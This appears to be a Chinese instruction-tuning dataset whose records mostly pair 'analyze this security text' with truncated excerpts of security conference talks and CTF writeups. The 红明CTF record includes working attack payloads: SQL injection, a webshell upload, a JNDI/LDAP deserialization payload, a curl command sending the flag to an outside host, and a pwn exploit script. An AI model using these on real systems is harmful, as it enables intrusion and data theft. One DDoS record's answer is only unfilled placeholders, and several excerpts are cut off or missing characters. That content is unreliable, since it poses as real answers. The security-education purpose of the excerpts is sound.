"请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHacking WebAssembly Games with Binary Instrumentation WEBASSEMBLY 101 WASM 101 > Developers have done (and continue to do) incredible work speeding up Javascript > However, the dynamic nature of Javascript will always be a roadblock > WebAssembly provides a static, pre-compiled binary format for performance intensive applications WASM 101 > WebAssembly \"defines an instruction set and binary format for an assembly-like architecture\" > WebAssembly is built to be targetable by existing compilers and languages > Finally we can write web applications in C! WASM USES > WebAssembly video games are becoming very common > Look at any browser game website (Newgrounds, Kongregate, etc) > Unity3D and Unreal Engine 4 can now both target WebAssembly > This means theres a lot of targets without a lot of tools WASM USES > WebAssembly is used for a lot of types of applications, not just video games > Retargeted desktop applications > 3D applications > Crypto miners > ...etc > These techniques are not video game specific video games are just the most fun target WASM REVERSING > With WebAssembly, web RE has started to feel more like traditional binary RE > Back to the disassembler! > A few tools support WebAssembly (mostly static analysis) > radare2 > JEB decompiler > wabt (WebAssemby Binary Toolkit) WASM REVERSING > Browser debugging capabilities for WASM are pretty lacking > No watchpoints > No conditional breakpoints > Lots of bugs VIDEO GAME REVERSING > Video games are a unique challenge when it comes to RE > Video game binaries are typically much larger and more complex than other applications > Video games are more performance intensive, and performance impacts are more noticeable > No one wants to play a game at 5 FPS > With this in mind, I was looking for a tool like Cheat Engine for WASM CHEAT ENGINE > Cheat Engine (made by Dark Byte) is effectively a specialized debugger for hacking video games > Cheat Engine can: > Search memory > Modify and freeze memory > Set watchpoints >", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools On the Current State of Remote Active OS Fingerprinting Tools Ofir Arkin CTO ofir.arkin@insightix.com Defcon 13 2 Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools What this talk is about? This talk examines different aspects of remote active operating system fingerprinting Examines different active OS fingerprinting methods & techniques Discusses their limitations and advantages Explains the state of the current used technology Deals with the question of what can and cannot be accomplished using remote active OS fingerprinting Looks at what should be done in the future Analyzes the accuracy aspects of remote active OS fingerprinting and of several active OS fingerprinting tools Presents the new version of Xprobe2 (Xprobe2 v0.3) 3 Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Ofir Arkin CTO and Co-Founder, Insightix http://www.insightix.com Founder, The Sys-Security Group http://www.sys-security.com Computer Security Researcher Infrastructure Discovery ICMP Usage in Scanning Xprobe2 (The Active OS Fingerprinting Tool) VoIP Security Information Warfare Member VoIPSA (Board member, chair security research committee) 4 Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Remote Active OS Fingerprinting An Introduction 5 Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools An Introduction Remote Active operating system fingerprinting is the process of actively determining a targeted network nodes underlying operating system by probing the targeted system with several packets and examining the response(s), or lack thereof, received The traditional approach is to examine the TCP/IP stack behavior (IP, TCP, UDP, and ICMP protocols) of a targeted network element when probed ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Who do I Trust Misc, 100 points ## Description: > Who issued the certificate to tamuctf.com? > (Not in standard gigem{flag} format) ## Solution: We can use `curl` to determine the CN of the certificate issuer. ```console root@kali:/media/sf_CTFs/tamu# curl -vI https://tamuctf.com * Rebuilt URL to: https://tamuctf.com/ * Trying 52.33.57.247... * TCP_NODELAY set * Connected to tamuctf.com (52.33.57.247) port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * successfully set certificate verify locations: * CAfile: none CApath: /etc/ssl/certs * (304) (OUT), TLS handshake, Client hello (1): * (304) (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Client hello (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-CHACHA20-POLY1305 * ALPN, server accepted to use http/1.1 * Server certificate: * subject: CN=tamuctf.com * start date: Feb 4 22:49:02 2019 GMT * expire date: May 5 22:49:02 2019 GMT * subjectAltName: host \"tamuctf.com\" matched cert's \"tamuctf.com\" * issuer: C=US; O=Let's Encrypt; CN=Let's Encrypt Authority X3 * SSL certificate verify ok. ```", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nFast Forensics Using Simple Statistics & Cool Tools WHATS ALL THE FFUSS ABOUT? Do You Hear What I Hear? 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 2 Overview What Can Us Defenders Do? Malware Effects What did the malware affect? Where are all the bad files? Did it modify the registry? Processes? Services? File Type & Content Identification Is this file really a jpeg? Compressed or encrypted or packed? Steganalysis Reversing XOR Encryption Others ??? 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 3 Overview Attacker Tools Executable Packers - Ultimate Packer for eXecutables (UPX) Base32/64 Encoders Compressors 7Zip, Winzip, gzip Encryptors - Axcrypt Wrappers* Disguise a file as a bitmap or wave Steganography Tools Steg LSB*, Steg Jpg*, many others 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 4 *Written by: John Ortiz Overview Defender Tools Hex Editors XVI32 is one free one there are many Strings Extract sequences of characters from a file Footprint* Snapshot of files, registry entries, processes, and services Write Bitmap Histogram (WBH)* Image and the statistics Statistical Analyzer* Autonomous identification 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 5 *Written by: John Ortiz TOOL: Wrappers Wrappers is a small utility to put a bitmap or wave header on any arbitrary file Essentially disguises a file it has a valid header You can see or hear any file Wrappers.exe -f Solitaire.exe -t bmp -s g Converts Solitaire.exe into the grayscale image you saw in the intro slide Well use it for demos 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 6 TOOL: Steg LSB Hides arbitrary data in Least Significant Bit(s) in bitmap images User can choose number of bits (left: 3 bits/pixel, right: 5 bits/pixel) 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 7 TOOL: Steg JPG Hides arbitrary data in DCT coefficients of jpeg file Right: original jpg, left: 2", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 janne.lindqvist@tml.hut.fi June 30, .2007 IPv6 is Bad for Your Privacy Janne Lindqvist Helsinki University of Technology (TKK) and International Computer Science Institute (ICSI) 2 janne.lindqvist@tml.hut.fi June 30, .2007 Definition A covert channel is a mechanism that is not designed for communication, but can nonetheless be abused to allow information to be communicated between parties. 3 janne.lindqvist@tml.hut.fi June 30, .2007 Related Work S. J. Murdoch and S. Lewis, Embedding covert channels into TCP/IP, in 7th Information Hiding Workshop, June 2005. K. Ahsan and D. Kundur, Practical Data Hiding in TCP/IP, in Proceedings of the Multimedia and Security Workshop at ACM Multimedia, Dec. 2002. S. Cabuk, C. E. Brodley, and C. Shields, IP covert timing channels: design and detection, in Proceedings of the 11th ACM conference on Computer and communications security, Oct 2004. C. Candolin and P. Nikander, IPv6 source addresses considered harmful, in Sixth Nordic Workshop on Secure IT (NordSec), Nov. 2001. A. Escudero-Pascual, Privacy in the next generation Internet: Data protection in the context of European Union policy, Ph.D. dissertation, Royal Institute of Technology, 2002. 4 janne.lindqvist@tml.hut.fi June 30, .2007 IPv6 Stateless Address Autoconfiguration Unicast IPv6 address consists of two parts 64 bits for subnet prefix 64 bits for interface identifier IPv6 Stateless Address Autoconfiguration is used for autoconfiguring addresses without a server Does not require manual configuration or DHCPv6 Autoconfiguration mechanism to acquire link-local and global IPv6 addresses. 5 janne.lindqvist@tml.hut.fi June 30, .2007 Autoconfiguration and Duplidate Address Detection Procedure A node chooses a tentative address candidate The node then performs Duplicate Address Detection The tentative address is multicasted to the link-local network. If the address is already in use, the node using the address replies to the message and the first node chooses a d", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCovert Debugging Circumventing Software Armoring Techniques Offensive Computing, LLC Danny Quist Valsmith dquist@offensivecomputing.net valsmith@offensivecomputing.net Offensive Computing - Malware Intelligence Danny Quist Offensive Computing, Cofounder PhD Student at New Mexico Tech Reverse Engineer Exploit Development cDc/NSF Offensive Computing - Malware Intelligence Valsmith Offensive Computing, Cofounder Malware Analyst/Reverse Engineer Metasploit Contributor Penetration Tester/Exploit developer cDc/NSF Offensive Computing - Malware Intelligence Offensive Computing, LLC Community Contributions Free access to malware samples Largest open malware site on the Internet 350k hits per month Business Services Customized malware analysis Large malware data-mining / access Reverse Engineering Offensive Computing - Malware Intelligence Introduction Debugging Malware is a powerful tool Trace Runtime Performance Monitor API Calls Dynamic Analysis == Automation Malware is getting good at preventing it Debugger Detection VM Detection Legitimate Software Pioneered these Techniques Offensive Computing - Malware Intelligence Overview of Talk Software Armoring Techniques Covert Debugging Requirements Dynamic Instrumentation for Debugging OS Pagefault Assisted Covert Debugging Application Generic Autounpacking Results Offensive Computing - Malware Intelligence Software Armoring Packing/Encryption VM Detection SEH Tricks Debugger Detection Shifting Decode Frame Example: Microsofts Patchguard Offensive Computing - Malware Intelligence Packing/Encryption Self-modifying Code Small Decoder Stub Decompresses the main executable Restores imports Play Tricks with Portable Executables Hide the Imports Obscure relocations Encrypt/compress the executable Offensive Computing - Malware Intelligence Normal PE File Offensive Computing - Malware Intelligence Packed PE File Offensive Computing - Malware Intelligence Virtual Machine Detection Single ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.TH FIND 1 \\\" -*- nroff -*- .SH NAME find \\- 递归地在层次目录中处理文件 .SH 总览 SYNOPSIS .B find [path...] [expression] .SH 描述 DESCRIPTION 这个文档是GNU版本 .BR find 命令的使用手册 .B find 搜索目录树上的每一个文件名它从左至右运算给定的表达式按照优先规则(见运 算符OPERATORS一节)进行匹配直到得出结果左边运算在 '与' 操作中得出假 在'或' 操作中得出真然后 .B find 移向下一个文件名 .PP 第一个以 '\\-' , '(' , ')' , ',' 或 '!' 这些字符起始的参数是表达式的开始; 在它之前的任何参数是要搜索的路径在它之后的任何参数都是表达式的余下部分 如果没有路径参数缺省用当前目录如果没有表达式缺省表达式 用 '\\-print'. .PP 当所有文件都成功处理时 .B find 退出并返回状态值0如果发生错误则返回一个大于0的值 .SH 表达式 EXPRESSIONS .P 表达式是由\\fB选项\\fR(选项总是影响所有的操作, 而不仅仅是一个指定的文件的处 理, 而且总是返回真值)\\fB测试\\fR(测试返回一个真值或一个假值)还有\\fB动 作\\fR(动作有side effects, 返回一个真值或假值) 组成它们都以运算符分开.忽 略运算符的时候默认使用 \\-and 连接. 如果表达式没有包含 \\-prune 以外的动 作当表达式为真时会执行 \\-print 动作 .SS 选项 OPTIONS .P 所有的选项都总是返回真值它们总会被执行除非放在表达式中执行不到的地方 因此清楚起见最好把它们放在表达式的开头部分 .IP \\-daystart 从当日起始时开始而不是从24小时之前计算时间(for \\-amin, \\-atime, \\-cmin, \\-ctime, \\-mmin, and \\-mtime) .IP \\-depth 先处理目录的内容再处理目录本身 .IP \\-follow 不检索符号链接隐含了 \\-noleaf .IP \"\\-help, \\-\\-help\" 列出 .B find 的命令行用法的概要然后退出 .IP \"\\-maxdepth \\fIlevels\\fR\" 进入命令行参数指定的目录下层目录时最深不超过\\fIlevels\\fR(一个非负整数) 层`\\-maxdepth 0' 意味着只在命令行参数指定的目录中执行测试和动作 .IP \"\\-mindepth \\fIlevels\\fR\" 不在\\fIlevels\\fR(一个非负整数)层之内执行任何测试和动作`\\-mindepth 1'意 味着处理所有的文件除了命令行参数指定的目录中的文件 .IP \\-mount 不进入处于其它文件系统之上的目录可以用\\-xdev代替从而和一些其他版本的 .BR find 兼容 .IP \"\\-noleaf\" 不为\\(lq目录中子目录数量比硬连接数少2\\(rq这种假设做优化这个选项在搜索那些不遵 循UNIX文件系统链接约定的文件系统时用比如CD-ROM,MS-DOS文件系统或AFS卷的 加载点在普通的UNIX文件系统中,每个目录至少有两个硬连接,它的名字和它 的 '.' 条目另外它的子目录(假如有)还会各有一个 '..' 链接到它在 .B find 检索一个目录时发现子目录数比它的连接数少二时它就知道目录中的其他条目 并非目录(而是目录树中的叶(`leaf')节点)除非需要检索的是这个叶节点否则 没必要去处理它这样可以带来很大的搜索速度提升 .IP \"\\-version, \\-\\-version\" 打印\\fBfind\\fR的版本号然后退出 .IP \\-xdev 不进入处于其他文件系统之上的目录 .SS 测试 TESTS .P 数字参数可以这样给出 .IP \\fI+n\\fP 是比 .IR n 大 .IP \\fI\\-n\\fP 是比 .IR n 小 .IP \\fIn\\fP 正好是 .IR n .IP \"\\-amin \\fIn\\fR\" 对文件的最近一次访问是在 \\fIn\\fR 分钟之前 .IP \"\\-anewer \\fIfile\\fR\" 对文件的最近一次访问比 \\fIfile\\fR 修改时间要晚如果命令行中 \\-follow 在 \\-anewer 之前(也只有在这种情况下) \\-anewer 会受 \\-follow 的影响 .IP \"\\-atime \\fIn\\fR\" 对文件的最近一次访问是在 \\fIn\\fR*24 小时之前 .IP \"\\-cmin \\fIn\\fR\" 对文件状态的最近一次修改是在 \\fIn\\fR 分钟之前 .IP \"\\-cnewer \\fIfile\\fR\" 对文件状态的最", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n以攻促防 企业红蓝对抗体系建设 关于我 胡珀 / lake2 腾讯 - 技术工程事业群TEG- 安全平台部 应用运维安全总监基础安全负责人资深专家工程师 腾讯安全应急响应中心TSRC Tencent Blade Team 安全研究团队 腾讯蓝军及倚天蓝军自动化平台 主导 逾十五年网络安全经验 2007年加入腾讯一直从事基础安全相关工作 安全组织80SEC/蓝星群/企业蓝军联盟COS成员 企业安全体系建设思路 - SDL 安全技术培训 安全意识培训 安全规范 安全技术培训 安全意识培训 安全规范 代码审计 渗透测试 应急响应执行 人工巡查 漏洞扫描系统 安全情报系统 安全需求建立 质量标准建立 风险识别 提供安全开发工具 安全开发模范和最 佳实践 安全API 应急响应方案 上线前集成环境安 全检查 安全运维规范 培训/training 设计/design 验证/verification 响应/response 要求/requirements 实施/implementation 发布/release Security Development Lifecycle 企业安全体系建设思路 - DevSecOps 一个问题 建立了安全团队 建设了各类安全规范安全系统 安全流程 那么现在足够安全 了吗 如何验证安全体系是否有效 实战是检验安全防护能力的唯一标准 Talk is CheapShow me the Shell Red Team蓝军与红蓝对抗的概念 理念来自军事演习 Red Team 红队/蓝军 攻击方 发起网络攻击验证 Blue Team 蓝队 防守方 负责网络攻击防守 Purple Team 紫队 协调方 检验攻防双方效果 渗透测试与红蓝对抗 红蓝对抗是传统的渗透测试的升级版 腾讯蓝军体系建设实践 自2006年渗透测试开始 从单一Web漏洞挖掘到整体安全体系验证 覆盖APT攻击DDoSAIoT风控安全办 公室窃听等场景 衍生出专门的战略支援团队及平台 引入外部白帽子及众测 为腾讯云大客户提供服务 系统安全蓝军黑客攻防 传统的系统漏 洞挖掘及模拟 APT攻击 网络安全蓝军DDoS攻防 模拟各类资源消耗型流量阻塞型的DDoS攻击检验DDoS防护体系 业务安全蓝军风控攻防 模拟各类黑产检验业务安全防护体系 物理安全蓝军窃听风云 模拟会议室窃听近源渗透等场景检验物理安全防护体系 泛蓝军 - SRC与众测 以众多第三方的独立视角帮助发现实际安全风险 泛蓝军 支援部队 战略支援部队工具平台研发安全技术研究支持 红蓝对抗实战案例一 2010年一次红蓝对抗模拟黑客进行渗透挖掘漏洞同时检验HIDS的入侵检测能力 红蓝对抗实战案例二 2018年一次红蓝对抗启动无人机挂载无线电发射器飞到智能楼宇36层进行近源渗透 展示智能楼宇的安全风险 HITB 2018HACKING INTELLIGENT BUILDING 蓝军经验沉淀 倚天蓝军平台建设 将个人能力和经验沉淀为平台策略尽量自动化实现红蓝对抗检验 测试版已发现外部35个企业70个严重漏洞均已通过对应SRC提交 各蓝军团队的分工与协作 腾讯经验 开源协同解决跨团队的多支蓝军的竞争与合作 内部开源底层技术平台共建 协同作战子领域各自分任之 红蓝对抗Oteam 尝试为行业做一些微小贡献 企业蓝军联盟COSCyber Offensive Security由 avfisher 发起的闭门会 旨在 促进行业内蓝军团队技术交流 促进行业内蓝军团队互助与合作 推动行业内企业蓝军体系建设 制定行业蓝军技术标准 (?) 总结 关注安全风险更要关注安全防御体系的缺陷 不止是渗透红蓝对抗领域应该是全方位的 不要依赖单兵作战红蓝对抗能力需要沉淀为自动化平台 在HW推动下红蓝对抗将飞速发展不论是技术还是商业化 关注法律风险一切行动都需要在合法合规条件下进行 谢谢观看 虽是陌路亦可相识", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nLocking Down Apache Locking Down Apache Jay Beale Senior Security Consultant, Intelguardians jay@bastille-linux.org (Def Con 12) Contents Configuration Modification Chroot-ing Apache Removing Modules Using Security-focused Apache Modules httpd.conf We harden recent releases of Apache entirely through the httpd.conf file. /etc/apache/httpd.conf (Solaris) /etc/httpd/conf/httpd.conf (Linux, recent) /usr/local/apache/etc/httpd.conf (compiled w/ --prefix=/usr/local/apache) Lets look at this files structure. Apache Configuration File Apaches configuration file starts with a number of generic options and then begins to set options based on parts of the webspace in blocks. Order Allow, Deny Deny from All Apache Config file The Apache configuration file has three parts. The first part applies to the entire server as a whole, virtual servers and all. ### Section 1: Global Environment ServerRoot \"/usr/local/apache\" #Listen 12.34.56.78:80 Listen 80 LoadModule access_module modules/mod_access.so LoadModule auth_module modules/mod_auth.so LoadModule auth_anon_module modules/mod_auth_anon.s ... LoadModule alias_module modules/mod_alias.so LoadModule rewrite_module modules/mod_rewrite.so Apache Config File Section 2 (Slide 1/3) Section 2 applies to the main non-virtual server. It also sets defaults for the virtual servers that they can override. ### Section 2: Main server configuration User nobody Group #-1 ServerAdmin you@example.com #ServerName www.example.com:80 DocumentRoot \"/usr/local/apache/htdocs\" Options FollowSymLinks AllowOverride None Apache Config File Section 2 (Slide 2/3) # This should be changed to whatever you set DocumentRoot to. Options Indexes FollowSymLinks AllowOverride None Order allow,deny Allow from all UserDir public_html # # AllowOverride FileInfo AuthConfig Limit Indexes # Options MultiViews Indexes SymLinksI", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nStitching numbers Alex Moneger Security Engineer 10th of August 2014 Generating ROP payloads from in memory numbers Cisco Con!dential 2 2013-2014 Cisco and/or its a\"liates. All rights reserved. ! Work for Cisco Systems ! Security engineer in the Cloud Web Security Business Unit (big cloud based security proxy) ! Interested mostly in bits and bytes ! Disclaimer: research own time my opinions not my employers Who am I? Cisco Con!dential 3 2013-2014 Cisco and/or its a\"liates. All rights reserved. 1. Brief ROP overview 2. Automating ROP payload generation 3. Number Stitching 1. Goal 2. Finding gadgets 3. Coin change problem 4. Pros, Cons, Tooling 5. Future Work Agenda Cisco Con!dential 4 2013-2014 Cisco and/or its a\"liates. All rights reserved. Introduction Cisco Con!dential 5 2013-2014 Cisco and/or its a\"liates. All rights reserved. ! Use only gadgets generated by libc or compiler stubs. In short, target the libc or compiler gadgets instead of the binary ones ! Generate payloads using numbers found in memory ! Solve the coin change problem to automatically generate ROP payloads ! Automate the payload generation TL;DR Cisco Con!dential 6 2013-2014 Cisco and/or its a\"liates. All rights reserved. ROP overview Cisco Con!dential 7 2013-2014 Cisco and/or its a\"liates. All rights reserved. ! Re-use instructions from the vulnerable binary ! Control #ow using the stack pointer ! Multi-staged: 1. Build the payload in memory using gadgets 2. Transfer execution to generated payload ! Only way around todays OS protections (let aside home routers, embedded systems, IoT, ) Principle Cisco Con!dential 8 2013-2014 Cisco and/or its a\"liates. All rights reserved. ! Useful instructions => gadgets ! Disassemble backwards from ret instruction ! Good tools available ! Number of gadgets to use is dependent upon target binary Finding instructions Cisco Con!dential 9 2013-2014 Cisco and/or its a\"liates. All rights reserved. ! Once payload is built in memory ! Transfer control by pivotin", "category": "text_analysis", "source": "security_papers"} {"instruction": "请解释DDoS攻击的原理和防护方法", "input": "", "output": "DDoS攻击是一种常见的网络安全威胁。攻击原理：[具体原理说明]。防护措施：1. [防护方法1] 2. [防护方法2] 3. [防护方法3]", "category": "security_knowledge", "source": "manual"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nFooling Image Search Engine Yuanjun GongBin Liang*Jianjun Huang {Gongyuanjun, liangb, hjj}@ruc.edu.cn Renmin University of China 1 2 1. Introduction 2. Technical Background 3. Methodology 4. Attacking Google Image Search Engine 5. Discussion 6. Conclusion Outline Image search engines (e.g. Google, Baidu) provide service of reverse image search, or search by image, to allow users to search for related images by uploading an image or image URL. Reverse image search is a content-based image retrieval (CBIR) query technique that involves providing the CBIR system with a sample image that it will then base its search upon; in terms of information retrieval, the sample image is what formulates a search query.[1] Reverse image search may be used to Locate the source of an image Find higher resolution versions Track down the content creator Detect plagiarism [1]https://en.wikipedia.org/wiki/Reverse_image_search 1. Introduction Query image x Search result 4 Query image Search result 5 Query image Search result 6 Plagiarism Detection Original image Poster of a TV play suspected plagiarism The poster of TV play Fuyao released in June 2016, was accused of plagiarism. The original image is created in 2014 by LuHe, a painter. 7 Plagiarism Detection poster Original picture CBIR system can be a potential attack target. Adversaries may evade the search engine by introducing perturbations to the query image. 8 +𝜀 Query image x adversarial image x No results Evasion Matching Images Query image x Threat model 9 Evasion Search result: original image Query image 10 Evasion Adversarial image No search result: evasion 11 Images Database Local Features SIFT, SURF, etc. Index Database Aggregated Feature (BoF, VLAD, etc.) Query image Image With greatest similarity CBIR framework Similarity matching 2. Technical Background Local Features SIFT, SURF, etc. Aggregated Feature (BoF, VLAD, etc.) 12 Essentially, searching similar images in CBIR systems is a image descriptors matching pr", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n2013 Cisco and/or its affiliates. All rights reserved. Page 1 of 20 White Paper Examining the Bitsquatting Attack Surface Bit errors in memory, when they occur in a stored domain name, can direct Internet traffic to the wrong domain potentially compromising security. When a domain name one bit different from a target domain is registered, this is called bitsquatting. This paper describes several previously unknown forms of bitsquatting, and also proposes potential mitigations which do not involve the mass registration of additional bitsquat domains. The conclusion is that the possibility of bitsquat attacks is more widespread than originally thought, but several techniques exist for mitigating the effects of these new attacks. Introduction In the early 1980s, the 7-bit ASCII table became the de facto means of representing text inside computers. Several of the specific bitsquats that are possible today owe their very existence, or their non-existence, to the layout of the ASCII table. The 7-bit ASCII code is actually not a product of modern computers, but is descended from the early 5-bit Baudot codes used in the late nineteenth century and early twentieth centuries by printing telegraph machines. When computers became much more prevalent during the 1950s, it became necessary to standardize the representation of characters between different devices so they could better communicate. By the 1960s, the 5-bit codes used by the telegraph companies had given way to multiple 6-bit codes. Finally in 1963, a seven bit ASCII code was born which was essentially an amalgamation of the FIELDATA military specification, plus the existing ITA-2 telegraph alphabet [1][2]. If you analyze the layout of the ASCII table, some remnants of the old teletypes can be found. For example occupying the very last slot in the 7-bit ASCII table is the DEL or Delete character. In the olden days of punched tape and printing telegraphs, errors could be corrected by punching all the possible holes in a", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nJava安全之Dubbo反序列化漏洞分析 0x00 前言 最近天气冷懒癌又犯了加上各种项目使得本篇文断断续续 0x01 Dubbo 概述 Dubbo是阿里巴巴开源的基于 Java 的高性能 RPC一种远程调用 分布式服务框架SOA致力于 提供高性能和透明化的RPC远程服务调用方案以及SOA服务治理方案dubbo 支持多种序列化方式并 且序列化是和协议相对应的比如Dubbo支持dubbormihessianhttpwebservicethrift redis等多种协议 运行机制 Dubbo框架启动容器Container一启动服务提供者Provider会将提供的服务信息注册到注册中心 Registry注册中心就知道有哪些服务上线了当服务消费者Consumer启动它会从注册中心订阅 subscribe所需要的服务 若某个服务提供者变更比如某个机器下线宕机注册中心基于长连接的方式将变更信息通知给消费 者 消费者可以调用服务提供者的服务同时会根据负载均衡算法选择服务来调用 每次的调用信息服务信息等会定时统计发送给监控中心Monitor监控中心能够监控服务的运行状 态 节点 角色说明 Provider 暴露服务的服务提供方 Consumer 调用远程服务的服务消费方 Registry 服务注册与发现的注册中心 Monitor 统计服务的调用次数和调用时间的监控中心 Container 服务运行容器 以上图片是官方提供的一个运行流程图 1. 服务容器负责启动加载运行服务提供者 2. 服务提供者在启动时向注册中心注册自己提供的服务 3. 服务消费者在启动时向注册中心订阅自己所需的服务 4. 注册中心返回服务提供者地址列表给消费者如果有变更注册中心将基于长连接推送变更数据给 消费者 5. 服务消费者从提供者地址列表中基于软负载均衡算法选一台提供者进行调用如果调用失 败再选另一台调用 6. 服务消费者和提供者在内存中累计调用次数和调用时间定时每分钟发送一次统计数据到监控中 心 在使用Dubbo前需要搭建一个注册中心官方推荐使用Zookeeper 使用 下载解压zookeeper将里面的 zoo_sample.cfg 内容复制到 zoo.cfg 文件中 Zookeeper端口默认是2181可修改进行配置端口 修改完成后运行 zkServer.bat 即可启动Zookeeper dubbo文档 注册服务 定义服务接口 DemoService 定义接口的实现类 DemoServiceImpl 用 Spring 配置声明暴露服务 使用注解配置声明暴露服务在 application.properites 中配置 然后在对应接口使用 @Component 或 @Service 注解进行注册 tickTime=2000 initLimit=10 syncLimit=5 dataDir=D:\\漏洞调试\\zookeeper-3.3.3\\zookeeper-3.3.3\\conf\\data clientPort=2181 package org.apache.dubbo.samples.basic.api; public interface DemoService { String sayHello(String name); } public class DemoServiceImpl implements DemoService { @Override public String sayHello(String name) { System.out.println(\"[\" + new SimpleDateFormat(\"HH:mm:ss\").format(new Date()) + \"] Hello \" + name + \", request from consumer: \" + RpcContext.getContext().getRemoteAddress()); return \"Hello \" + name + \", response from provider: \" + RpcContext.getContext().getLocalAddress(); } } dubbo.scan.base-packages=org.apache.dubbo.samples 引用远程服务 consumer.xml 配置", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n红明CTF Web happysql http://eci-2ze7dlrxgodbblkyir9b.cloudeci1.ichunqiu.com/ username=aaaw2aww\"|| (strcmp((select%0a*%0afrom%0af1ag),concat(\"flag{a4398541\",char(45),\"2ae3\",char(45) ,\"4439\",char(45),\"a4f6\",char(45),\"69eafe0e9b71}\"))%0ain%0a(1))#&password=*/# writeShell http://eci-2ze7dlrxgodbcwxp83gz.cloudeci1.ichunqiu.com/?action=upload&data=%3C? =`cat\\$IFS/!whatyouwantggggggg401.ph*`?%3E easytp 尝试出弱令123456..... 然后读flag javaweb /login/..;/json 绕过鉴权访问/json接 jackson反序列化post Logback反序列化链进JNDI注 [\"ch.qos.logback.core.db.JNDIConnectionSource\", {\"jndiLocation\":\"ldap://ip:8013/#Exploit\"}] 由于jdk版本过法加载远程class这参考http://www.yulegeyu.com/2018/12/04/JN DI-Injection-Via-LDAP-Deserialize/ 利LDAP Server返回序列化数据触发反序列化尝试 反弹shell失败最终使cc5 curl http://ip:port/ -d @/flag拿到flag Reverse g0 https://pan.baidu.com/s/1ey1E5pa7tevQs7-qRpwOwA 提取码GAME 输经过简单乱序后直接作为bigint的rawbytes(big endian)经过base58编码后与预定值较 Pwn 双边协议1.0 nc 8.140.179.11 13452 获得权限后执pwn件同录下的\"getflag\"并输队伍token即可获取flag https://pan.baidu.com/s/1jPP-0fa73PMHiCh-HaKvJg 提取码GAME add 之后 再改个size 似乎就可以溢出了 import base58 1 import string 2 3 def deb58(enc): 4 tbl0 = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz' 5 tbl1 = '12Nrst6CDquvG7BefghJKLMEFHPQZabRSTUVmyzno89ApwxWXYcdkij345' 6 trans = enc.translate(enc.maketrans(tbl1, tbl0)) 7 return base58.b58decode(trans) 8 9 if __name__ == '__main__': 10 ret = deb58('2GVdudkYo2CBXoQii7gfpkjTc4gT') 11 flag = ret[15:]+ret[0:5]+ret[10:15]+ret[5:10] 12 print(flag) 13 14 from pwn import * 1 2 # s = process(\"./Maybe_fun_game\") 3 s = remote(\"8.140.179.11\",\"13452\") 4 5 def parse(buf,size=8): 6 buf = str(buf) 7 tmp = '' 8 tmp += p64(0x1234567812345678) 9 tmp += p64(len(buf)+0x20+size) #c8 10 tmp += p64(size) #d0 11 tmp += p64(len(buf)) #d8 12 for i in range(size): 13 tmp += '\\x41' 14 tmp += str(buf) 15 return b64e(tmp) 16 17 def get(buf): 18 return b64d(buf)[0x28:] 19 20 def add(size,buf=''): 21 s.sendlineafter(\"eFY0EnhWNBIxAAAAAAAAAAgAAAAAAAAACQAAAAAAAABBQUFBQUFBQUNob 2ljZSA/Pg==\",parse(1)) 22 s.sendlineafter", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHCTF2016-Writeup --by Nu1L 目 录 HCTF2016-Writeup.....................................................................................................1 Level1............................................................................................................................2 1. Reverse-Web...............................................................................................2 2. Misc-杂项签到...................................................................................................3 3. Web-2099 年的 flag......................................................................................... 4 Level2............................................................................................................................4 1. Web-ReSrful.................................................................................................4 2. Misc-pic again..............................................................................................5 3. Web-giligile...................................................................................................5 4. Misc-你所知道的隐写就仅此而已吗..........................................................7 5. Misc-gogogo.................................................................................................8 6. Reverse-前年的 400 